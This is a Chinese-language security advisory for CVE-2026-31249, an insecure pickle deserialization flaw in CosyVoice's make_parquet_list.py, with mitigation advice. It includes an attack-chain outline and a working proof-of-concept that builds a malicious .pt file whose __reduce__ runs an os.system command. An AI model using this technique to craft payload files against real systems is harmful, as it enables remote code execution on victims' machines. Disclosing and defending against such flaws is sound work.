IPBUF安全漏洞报告
English
CVE-2026-31249 CVSS 7.3 高危

CVE-2026-31249 CosyVoice不安全反序列化漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-31249
漏洞类型
不安全的反序列化
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CosyVoice

相关标签

RCE代码执行不安全的反序列化CWE-502CosyVoicePyTorchMachine Learning Security

漏洞概述

CosyVoice在特定提交版本的make_parquet_list.py数据处理工具中存在不安全的反序列化漏洞(CWE-502)。该脚本使用PyTorch的torch.load()函数加载.pt文件时,未启用weights_only=True安全参数。由于torch.load()底层使用pickle模块,攻击者可构造恶意.pt文件,当受害者处理包含该文件的数据目录时,将触发反序列化导致任意代码执行。

技术细节

该漏洞源于CosyVoice项目在处理PyTorch模型文件时的安全配置缺失。PyTorch的torch.load()函数默认使用Python的pickle模块进行对象序列化和反序列化操作,而pickle在设计上是不安全的,因为它允许在反序列化过程中执行任意Python代码。在make_parquet_list.py脚本中,直接调用torch.load()加载用户提供的.pt文件(如utterance embeddings)且未限制加载内容(即未设置weights_only=True),这为攻击者提供了利用入口。攻击者可以利用pickle的__reduce__方法构造恶意的Python对象,将其序列化为.pt文件。一旦受害者运行脚本处理该文件,恶意代码便会在系统权限下执行,导致服务器被完全控制。CVSS向量显示攻击无需认证且无需用户交互,利用难度低。

攻击链分析

STEP 1
1. 武器化
攻击者创建一个包含恶意Python类的脚本,利用pickle机制定义需要执行的命令(如反弹Shell或植入木马),并将其序列化为恶意的.pt文件。
STEP 2
2. 投递
攻击者将生成的恶意.pt文件放入CosyVoice项目需要处理的数据目录中,或者诱导受害者下载包含该文件的数据集。
STEP 3
3. 利用
受害者运行CosyVoice的数据处理工具(如make_parquet_list.py),脚本遍历目录并调用torch.load()加载恶意文件。
STEP 4
4. 执行
由于未开启安全限制,pickle反序列化过程自动触发攻击者预设的代码,导致任意命令在受害者系统上执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import torch import os import pickle # Simulate the creation of a malicious payload # This class defines what happens when the object is deserialized class MaliciousPayload: def __reduce__(self): # Return a tuple (callable, args) that will be executed # Example: creating a file to prove code execution return (os.system, ('touch /tmp/pwned_by_cve_2026_31249',)) # Generate the malicious .pt file print("[+] Generating malicious .pt file...") malicious_data = MaliciousPayload() # Save the object using torch.save (which uses pickle internally) with open('malicious_embeddings.pt', 'wb') as f: torch.save(malicious_data, f) print("[+] File 'malicious_embeddings.pt' created.") # --- VULNERABLE CODE SIMULATION --- # This mimics the code in make_parquet_list.py print("[+] Simulating victim processing the file...") try: # The vulnerable call: loading untrusted data without weights_only=True loaded_data = torch.load('malicious_embeddings.pt') print("[!] Exploit failed or code executed silently.") except Exception as e: print(f"[!] Error during load: {e}")

影响范围

CosyVoice <= commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e

防御指南

临时缓解措施
在升级代码前,请确保不要处理来自不可信来源的.pt文件。开发者可以临时修改make_parquet_list.py源码,将所有torch.load()调用更改为torch.load(..., weights_only=True),以阻止任意Python对象的加载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表